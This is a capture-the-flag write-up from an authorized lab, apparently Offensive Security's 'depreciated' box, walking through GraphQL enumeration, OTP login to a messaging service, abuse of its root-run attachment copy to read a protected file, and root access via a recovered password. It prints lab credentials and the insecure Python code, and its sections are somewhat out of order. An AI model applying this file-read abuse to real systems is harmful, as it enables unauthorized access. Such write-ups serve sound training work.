Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
By abusing GraphQL and a Python messaging service, access will be gained to the target system, allowing for escalation to root privileges. This lab focuses on exploiting API vulnerabilities and privilege escalation techniques.
Scenario
This lab demonstrates exploiting a GraphQL service to enumerate user accounts and retrieve an OTP (One-Time Password) to access a CLI messaging service. Learners will leverage the message creation functionality to overwrite a critical file, gaining admin access. This leads to retrieving the root password from a secure message, allowing SSH access as root. The lab emphasizes API enumeration, file manipulation, and privilege escalation via insecure application logic.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate services and identify the GraphQL and CLI messaging applications.
- Exploit the GraphQL service to retrieve user credentials and access the messaging service.
- Abuse the messaging application's attachment handling to overwrite sensitive files.
- Escalate privileges by creating an admin user to access secure messages.
- Extract the root password from secure messages and access the system as root via SSH.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Retrieve and inspect the web response from the target.
└─$ curl http://192.168.160.170
.
.
.
<!--commenting the code until we fix the whole application-->
<!--<div class="row">-->
<!--<div class="col-lg-4 col-sm-offset-2">-->
<!--<div class="panel panel-primary">-->
<!--<div class="panel-heading">Login</div>-->
<!--<div class="panel-body">-->
<!--<div class="col-md-6">-->
<!--<form method="post" action="http://127.0.0.1:8433/graphql?query={login(username:$uname, password:$pswd)}" enctype="multipart/form-data">-->
<!--<div class="form-group">-->
<!--<label for="uname">Username</label>-->
<!--<input type="text" placeholder="username" name="uname" class="form-control"><br>-->
<!--<label for="pswd">Password</label>-->
<!--<input type="text" placeholder="password" name="pswd" class="form-control"><br>-->
<!--<button class="btn btn-primary" type="submit">Submit</button>-->
<!--</div>-->
<!--</form>-->
<!--</div>-->
<!--</div>-->
<!--<div class="panel-footer">-->
<!--<center>-->
<!--<p style="font-size:2em;color: black"> </p>-->
<!--</center>-->
<!--</div>-->
<!--</div>-->
<!--</div>-->
<!--</div>-->
</body>
</body>
</html>- browsing to URL
http://127.0.0.1:8433/graphql?query={login(username:$uname, password:$pswd)}we get a graphql page - trying different graphql queries, we get 2 usernames
jasonandpeterand getting OTP for both the users
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Create the network connection required for this lab step.
└─$ nc -v 192.168.160.170 5132
192.168.160.170: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.160.170] 5132 (?) open
Enter Username: peter
Enter OTP: hkE63InnazVhV98q
# Confirm the identity of the current session.
$ whoami
# Execute the next evidence-gathering step in the authorized lab.
$ help
list list messages
create create new message
exit exit the messaging system
read read the message with given id
update update the message with given id
help Show this help
# Execute the next evidence-gathering step in the authorized lab.
$ list
#2345 Improve the ticketing CLI syst
#1893 Staging keeps on crashing beca
#2347 [critical] The ticketing websi
#1277 Update the MySQL version, it's
#234 Hey, Please change your passwo
#0 Hey, Seriously this is getting
# Execute the next evidence-gathering step in the authorized lab.
$ 1277
# Execute the next evidence-gathering step in the authorized lab.
$ read #234
Problem reading the message, make sure you enter the correct message id
# Execute the next evidence-gathering step in the authorized lab.
$ read 234
Message No: #234
Hey, Please change your password ASAP. You know the password policy, using weak password isn\'t allowed. And peter@safe is very weak, use https://password.kaspersky.com/ to check the strength of the password.
Attachment: none
$This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# This code block contains the helper code used for the documented lab step.
import json
import os
import random
#TODO: Need to fix all the weird logics and bugs
try:
with open("/opt/depreciated/messaging/msg.json", "r") as f:
MESSAGES = json.load(f)
except json.decoder.JSONDecodeError:
with open("/opt/depreciated/messaging/msg.json.bak", "r") as f:
MESSAGES = json.load(f)
def create_message(user):
for_ = input("for: ")
description = input("Description: ")
num = random.randint(1000, 9999)
author = user
attachment = input("File: ")
if attachment and attachment != "none" and os.path.exists(attachment):
with open(attachment, 'r') as f:
data = f.read()
basename = '/opt/depreciated/' + os.path.basename(attachment)
with open(basename, 'w') as f:
f.write(data)
else:
attachment = "none"
msg_info = {'id': num, 'author': author, 'description': description, 'for': for_, 'attachment': attachment}
MESSAGES.append(msg_info)
with open("/opt/depreciated/messaging/msg.json", 'w') as f:
json.dump(MESSAGES, f)
.../opt/depreciated/messaging/msg.jsonseems to be interesting file but we do not have permissions to read it- using the server on port
5123to create a message which has read permission for/opt/depreciated/messaging/msg.jsonand output it to/opt/depreciated/msg.json
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Create the network connection required for this lab step.
└─$ nc -v 192.168.160.170 5132
192.168.160.170: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.160.170] 5132 (?) open
Enter Username: peter
Enter OTP: hkE63InnazVhV98q
# Execute the next evidence-gathering step in the authorized lab.
$ create
for: peter
Description: test
File: /opt/depreciated/messaging/msg.json
$- We not have a file
/opt/depreciated/msg.json
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
[
...
"id": 234,
"author": "jason",
"for": "peter",
"description": "Hey, Please change your password ASAP. You know the password policy, using weak password isn't allowed. And peter@safe is very weak, use https://password.kaspersky.com/ to check the strength of the password."
},
{
"id": 0,
"author": "admin",
"for": "another admin",
"description": "Hey, Seriously this is getting out of hand. Your new password is 9>XsS+&=Zn#AS9-@ Please don't forget your password this time. And make sure to change this once you are in."
}
]- we found a new password
9>XsS+&=Zn#AS9-@ - Using this password with su root
Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The output contains credential-related evidence recovered during the lab.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Under Maintainence
|_http-server-header: nginx/1.18.0 (Ubuntu)
5132/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL:
| Enter Username:
| GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| Enter Username: Enter OTP: Incorrect username or password
| Help:
| Enter Username: Enter OTP:
| RPCCheck:
| Enter Username: Traceback (most recent call last):
| File "/opt/depreciated/messaging/messages.py", line 100, in <module>
| main()
| File "/opt/depreciated/messaging/messages.py", line 82, in main
| username = input("Enter Username: ")
| File "/usr/lib/python3.8/codecs.py", line 322, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
| SSLSessionReq:
| Enter Username: Traceback (most recent call last):
| File "/opt/depreciated/messaging/messages.py", line 100, in <module>
| main()
| File "/opt/depreciated/messaging/messages.py", line 82, in main
| username = input("Enter Username: ")
| File "/usr/lib/python3.8/codecs.py", line 322, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
| TerminalServerCookie:
| Enter Username: Traceback (most recent call last):
| File "/opt/depreciated/messaging/messages.py", line 100, in <module>
| main()
| File "/opt/depreciated/messaging/messages.py", line 82, in main
| username = input("Enter Username: ")
| File "/usr/lib/python3.8/codecs.py", line 322, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
|_ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
8433/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-- Doing Curl on port 80 we find the page under maintenance, it has a commented code
- Using this password to login into ssh
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Use the recovered credentials to establish a remote session.
└─$ ssh peter@192.168.160.170
hostkeys_find_by_key_hostfile: hostkeys_foreach failed for /home/kali/.ssh/known_hosts2: Permission denied
The authenticity of host '192.168.160.170 (192.168.160.170)' can't be established.
peter@192.168.160.170's password:
# Confirm the identity of the current session.
$ whoami
peter
$Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output records the result observed during this authorized lab step.
## Running linpeas we find interesting file at /opt/depreciated
╔══════════╣ Running processes (cleaned)
...
root 195702 0.0 0.9 16360 9856 ? Ss 21:58 0:00 _ python3 /opt/depreciated/messaging/messages.py
...- Checking the contents of
/opt/depreciated/messaging/messages.py
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output confirms the effective user and privilege level of the current session.
Password:
root@depreciated:/home/peter# id
uid=0(root) gid=0(root) groups=0(root)Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.